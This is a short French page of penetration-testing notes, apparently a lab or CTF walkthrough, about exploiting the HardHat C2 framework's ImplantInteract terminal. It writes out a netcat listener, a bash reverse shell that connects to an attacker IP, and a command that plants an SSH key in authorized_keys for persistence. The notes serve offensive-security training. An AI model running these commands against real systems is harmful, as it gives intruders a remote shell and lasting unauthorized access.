> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md).
# HardHat C2 - Exécution de code à distance (RCE)
Notes RCE HardHat C2 pour l’abus du terminal ImplantInteract, la validation via whoami, l’exécution d’un shell inversé, la persistance via authorized\_keys SSH et le post-exploitation.
###
Dans `ImplantInteract`, l'accès au terminal est disponible. En cours d'exécution `whoami` montre que l'utilisateur actuel est `sergej`.
Démarrez un écouteur sur le port 443 pour établir un shell inversé en tant que `sergej`:
```bash
nc -nlvp 443
```
Exécutez la commande suivante pour établir la connexion inverse :
```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```
Une fois connecté, ajoutez la clé SSH à `authorized_keys` pour faciliter la reconnexion :
```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```
---
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